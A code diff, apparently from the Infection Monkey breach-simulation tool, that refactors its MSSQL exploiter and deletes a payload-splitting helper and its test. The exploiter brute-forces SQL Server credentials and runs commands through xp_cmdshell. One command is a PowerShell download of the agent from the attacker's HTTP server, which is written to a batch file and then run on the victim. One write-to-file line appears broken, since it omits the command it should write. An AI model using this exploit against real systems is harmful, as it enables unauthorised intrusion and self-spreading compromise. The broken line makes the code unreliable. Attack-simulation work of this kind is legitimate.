diff --git a/CHANGELOG.md b/CHANGELOG.md index b8c062648..e01d64d49 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -91,6 +91,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Incorrect line number in the telemetry overview window on the Map page. #1850 - Automatic jumping to the bottom in the telemetry overview windows. #1850 - 2-second delay when the Island server starts, and it's not running on AWS. #1636 +- Malformed MSSQL agent launch command. #2018 ### Security - Change SSH exploiter so that it does not set the permissions of the agent diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 526c85caa..7dbb190a1 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,5 @@ import logging -import os -from pathlib import PurePath +from pathlib import PureWindowsPath from time import sleep import pymssql @@ -10,7 +9,6 @@ from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG from infection_monkey.transport import LockedHTTPServer @@ -31,27 +29,20 @@ class MSSQLExploiter(HostExploiter): # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = "tmp_monkey.bat" - TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" + TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir" - MAX_XP_CMDSHELL_COMMAND_SIZE = 128 - - XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "' - XP_CMDSHELL_COMMAND_END = '"' - EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" - CREATE_COMMAND_SUFFIX = ">{payload_file_path}" + # Single quotes are escaped in SQL by using two of them. + # Example: 'It ain''t over ''til it''s over' MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." - "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" + "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) def __init__(self): super().__init__() self.cursor = None self.agent_http_path = None - self.payload_file_path = os.path.join( - MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME - ) + self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME def _exploit_host(self) -> ExploiterResultData: """ @@ -82,15 +73,11 @@ class MSSQLExploiter(HostExploiter): try: # Create dir for payload self.create_temp_dir() - self.create_empty_payload_file() http_thread = self.start_monkey_server(monkey_path_on_victim) self.upload_monkey(monkey_path_on_victim) MSSQLExploiter._stop_monkey_server(http_thread) - # Clear payload to pass in another command - self.create_empty_payload_file() - self.run_monkey(monkey_path_on_victim) self.remove_temp_dir() @@ -108,56 +95,57 @@ class MSSQLExploiter(HostExploiter): self.exploit_result.propagation_success = True return self.exploit_result - def run_payload_file(self): - file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) - return self.run_mssql_command(file_running_command) - def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload( - command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) - ) - self.run_mssql_command(dir_creation_command) + logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") - def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path - ) - tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) - self.run_mssql_command(tmp_file_creation_command) + mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" + self._run_mssql_command(mkdir_command) - def run_mssql_command(self, mssql_command): - array_of_commands = mssql_command.split_into_array_of_smaller_payloads() - if not array_of_commands: - raise Exception("Couldn't execute MSSQL exploiter because payload was too long") - self.run_mssql_commands(array_of_commands) - - def run_monkey(self, monkey_path_on_victim: PurePath): - monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) - self.run_mssql_command(monkey_launch_command) + def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): + self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() - def run_mssql_commands(self, cmds): - for cmd in cmds: - self.cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) + def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): + agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( + http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) + ) + self._write_command_to_batch_file(agent_download_command) - def upload_monkey(self, monkey_path_on_victim: PurePath): - monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) + def _write_command_to_batch_file(self, command: str): + write_to_file_command = f"{self.payload_file_path}" + self._run_mssql_command(write_to_file_command) + + def _run_mssql_command(self, command: str): + logger.debug(f"Running command on SQL Server: {command}") + + self.cursor.execute(f"xp_cmdshell '{command}'") + self.add_executed_cmd(command) + + sleep(MSSQLExploiter.QUERY_BUFFER) + + def run_payload_file(self): + self._run_mssql_command(str(self.payload_file_path)) + + def run_monkey(self, monkey_path_on_victim: PureWindowsPath): + self._write_agent_launch_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() - self.add_executed_cmd(monkey_download_command.command) + + def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim): + agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) + self._write_command_to_batch_file(agent_launch_command) + + def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): + monkey_args = build_monkey_commandline( + self.host, self.current_depth - 1, monkey_path_on_victim + ) + + return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}" def remove_temp_dir(self): - # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload( - command="del {}".format(self.payload_file_path) - ) - self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload( - command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) - ) - self.run_mssql_command(tmp_dir_removal_command) + self._run_mssql_command(f"del {self.payload_file_path}") + self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer: + def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_repository ) @@ -168,36 +156,6 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self, monkey_path_on_victim: PurePath): - monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) - self.run_mssql_command(monkey_download_command) - return monkey_download_command - - def get_monkey_launch_command(self, monkey_path_on_victim: PurePath): - # Form monkey's launch command - monkey_args = build_monkey_commandline( - self.host, self.current_depth - 1, monkey_path_on_victim - ) - suffix = ">>{}".format(self.payload_file_path) - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload( - command="{} {} {}".format(monkey_path_on_victim, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix, - ) - - def get_monkey_download_command(self, monkey_path_on_victim: PurePath): - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) - ) - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path - ) - return MSSQLLimitedSizePayload( - command=monkey_download_command, suffix=suffix, prefix=prefix - ) - def brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. @@ -255,13 +213,3 @@ class MSSQLExploiter(HostExploiter): raise FailedExploitationError( "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) - - -class MSSQLLimitedSizePayload(LimitedSizePayload): - def __init__(self, command, prefix="", suffix=""): - super(MSSQLLimitedSizePayload, self).__init__( - command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, - ) diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py deleted file mode 100644 index ef2e11426..000000000 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ /dev/null @@ -1,64 +0,0 @@ -import textwrap - - -class Payload(object): - """ - Class for defining and parsing a payload (commands with prefixes/suffixes) - """ - - def __init__(self, command, prefix="", suffix=""): - self.command = command - self.prefix = prefix - self.suffix = suffix - - def get_payload(self, command=""): - """ - Returns prefixed and suffixed command (payload) - :param command: Command to suffix/prefix. If no command is passed than objects' property - is used - :return: prefixed and suffixed command (full payload) - """ - if not command: - command = self.command - return "{}{}{}".format(self.prefix, command, self.suffix) - - -class LimitedSizePayload(Payload): - """ - Class for defining and parsing commands/payloads - """ - - def __init__(self, command, max_length, prefix="", suffix=""): - """ - :param command: command - :param max_length: max length that payload(prefix + command + suffix) can have - :param prefix: commands prefix - :param suffix: commands suffix - """ - super(LimitedSizePayload, self).__init__(command, prefix, suffix) - self.max_length = max_length - - def is_suffix_and_prefix_too_long(self): - return self.payload_is_too_long(self.suffix + self.prefix) - - def split_into_array_of_smaller_payloads(self): - if self.is_suffix_and_prefix_too_long(): - raise Exception( - "Can't split command into smaller sub-commands because commands' prefix and " - "suffix already " - "exceeds required length of command." - ) - - elif self.command == "": - return [self.prefix + self.suffix] - wrapper = textwrap.TextWrapper( - drop_whitespace=False, width=self.get_max_sub_payload_length() - ) - commands = [self.get_payload(part) for part in wrapper.wrap(self.command)] - return commands - - def get_max_sub_payload_length(self): - return self.max_length - len(self.prefix) - len(self.suffix) - - def payload_is_too_long(self, command): - return len(command) >= self.max_length diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py deleted file mode 100644 index 2656a7ada..000000000 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py +++ /dev/null @@ -1,38 +0,0 @@ -from unittest import TestCase - -from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload, Payload - - -class TestPayload(TestCase): - def test_get_payload(self): - test_str1 = "abc" - test_str2 = "atc" - payload = Payload(command="b", prefix="a", suffix="c") - assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 - - def test_is_suffix_and_prefix_too_long(self): - pld_fail = LimitedSizePayload("b", 2, "a", "c") - pld_success = LimitedSizePayload("b", 3, "a", "c") - assert ( - pld_fail.is_suffix_and_prefix_too_long() - and not pld_success.is_suffix_and_prefix_too_long() - ) - - def test_split_into_array_of_smaller_payloads(self): - test_str1 = "123456789" - pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") - array1 = pld1.split_into_array_of_smaller_payloads() - test1 = bool( - array1[0] == "prefix1234suffix" - and array1[1] == "prefix5678suffix" - and array1[2] == "prefix9suffix" - ) - - test_str2 = "12345678" - pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") - array2 = pld2.split_into_array_of_smaller_payloads() - test2 = bool( - array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2 - ) - - assert test1 and test2